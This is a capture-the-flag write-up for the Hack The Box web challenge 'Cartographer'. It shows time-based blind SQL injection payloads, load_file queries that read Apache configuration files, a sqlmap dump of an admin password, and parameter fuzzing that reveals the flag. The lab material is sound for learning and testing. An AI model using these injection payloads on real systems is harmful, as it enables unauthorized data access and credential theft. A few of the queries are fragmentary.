Hack The Box / Challenges / Web / Cartographer

First thing I did was to run a dirb and gobuster using SecList common and quickhits lists. Nothing fancy has shown.

I thought could this be a SQL injection? To speed up this testing I decided to use sqlmap. I usually make some SQLi quick tests but this time they didn't work so I decided to go for sqlmap.

The sqlmap did in fact found that username is prone to blind SQL injection.

Here's an example query:

UYOE' AND (SELECT 1343 FROM (SELECT(SLEEP(5)))Iyjr) AND 'XMJK'='XMJK

Listing the current DB user privileges, we see it is root:

[*] %root% (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE


(select case when 
  (select ascii(substring(jwt,%d,1)) from xxx as jwt) = %d
  then '0' else 
  (select table_name from information_schema.tables) end);

I took this chance to try some SQL injection polyglots. The three ones from

select 
  substr(
    load_file("/etc/apache2/sites-available/000-default.conf") as f),
    instr(
      (select load_file("/etc/apache2/sites-available/000-default.conf") as f),
      'DocumentRoot'
      ) + length("DocumentRoot") )
      , 10);


select name from users where name='UYOE' AND (select case when substr((select substr((select load_file("/etc/apache2/sites-available/000-default.conf") as f), instr((select load_file("/etc/apache2/sites-available/000-default.conf") as f),'DocumentRoot') + length("DocumentRoot "), 15)),1,1) = '/' then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';


select name from users where name='UYOE' AND (select case when (select instr((select load_file("/etc/apache2/sites-available/000-default.conf") as f),'DocumentRoot')) > 1 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';

To test if a file exists:

select name from users where name='UYOE' OR (select case when (select length((select load_file("/var/www/html/index.html") as f))) > 0 then (select sleep(2)) else '0' end) = 123 OR 'XMJK'='12';
select name from users where name='UYOE' AND (select case when (select length((select load_file("/etc/apache2/sites-available/000-default.conf") as f))) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';

To test the non-existence of file:

select name from users where name='UYOE' AND (select case when (select length((select load_file("/etc/apache2/sites-available/a_bad_file") as f))) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';

select name from users where name='UYOE' AND (select case when (select instr((select load_file("/etc/apache2/apache2.conf") as f),'#')) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';

Using sqlmap we can dump the users table:

Database: cartographer
Table: users
[1 entry]
+----------+------------------------------+
| username | password                     |
+----------+------------------------------+
| admin    | mypasswordisfuckinawesome123 |
+----------+------------------------------+

If we use this username and password, the reply is a 302:

HTTP/1.1 302 Found
Date: Thu, 26 Sep 2019 20:24:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: panel.php?info=home
Content-Length: 673
Connection: close
Content-Type: text/html; charset=UTF-8


<html>
<head>
    <title>Cartographer - Login</title>
    <link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body>
    <div class="content-container">
        <div class="blur"></div>
    </div>
    <div class="loginform">
        <center>
            <img src="logo.png" /><br><br>
            <form method="post">
                <input class="textbox" type="text" name="username" placeholder="Username"><br><br>
                <input class="textbox" type="password" name="password" placeholder="Password"><br><br>
                <input class="loginbutton" type="submit" value="Login">
            </form>
        </center>
    </div>
</body>
</html>

With the index.php content, which is the login form. Then if we see panel.php?info=home is the destination of the redirect. The content is:

HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 20:24:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 408
Connection: close
Content-Type: text/html; charset=UTF-8


<html>
<head>
    <title>Cartographer - Panel</title>
    <link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body>
    <div class="content-container">
        <div class="blur"></div>
    </div>
    <div class="loginform">
        <center>
            <img src="logo.png" /><br><br>
            <br>Cartographer<br>Is Still<br>Under Construction!        </center>
    </div>
</body>
</html>

Basically the child elements below loginform div, are replaced with some content.

I knew that we could use MySQL to dump file system stuff, so I tried that way. After many trial and error, I started to doubt of this path. Basically testing in a local replica it would work, but not in this challenge. Something was different.

After some trial-and-error and searching, I came across this post (while sarching for "mysql load_file not working") which talks about secure_file_priv variable.

If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server will not create it.

OK.. this could be the problem! Actually using sqlmap to get this variable value:

$ python2 sqlmap.py -u http://docker.hackthebox.eu:47304/ --forms --sql-query='@@secure_file_priv'
...
[00:50:04] [INFO] adjusting time delay to 1 second due to good response times
/var/lib/mysql-files/
@@secure_file_priv: '/var/lib/mysql-files/'
...

That is why we were being able to get any file from the file system. Now, what files are inside this folder? can we find any of the php content there? I couldn't find a way to enumerate files using MySQL. First thing I tried was to change this variable, but that isn't possible since it is not a "dynamic" variable that can be changed at runtime. This looked to be a dead-end. Decided to go back to the URL redirect.

URL Redirect Parameter Fuzzing

If we try to play with the info parameter we get a pretty "Not found!" message. This makes us think that this php parameter actually loads content from the file system.

After trying some LFI dictionaries that play around with relative path (Burp and [2]) I decided to try word lists. I looked for a dictionary of the most similar type, that is, like a file name. The SecLists have one file named raft-small-words.txt which seems adequate. First thing I do is to look for the valid word there home, we can find it and some variations of it. So this looks it worths a try.

I used burp intruder but one could easily code a python for that bruteforce. After a few seconds I sorted the results table by length of the responses, and we could find:

0               200 709
140     home    200 709
1215    flag    200 685
1       .php    200 676
2       cgi-bin 200 676
...

Basically 709 is the reply with "Under construction", 676 is "Not found" and... flag is our flag!

<div class="loginform">
    <center>
        <img src="logo.png" /><br><br>
        <br><br>HTB{Map_Th3_Pl4n3t}        </center>
</div>

References

  • https://www.securityartwork.es/2014/06/04/read-htaccess-file-through-blind-sql-injection/
  • https://github.com/1N3/IntruderPayloads
jemos / Sep, 26 2019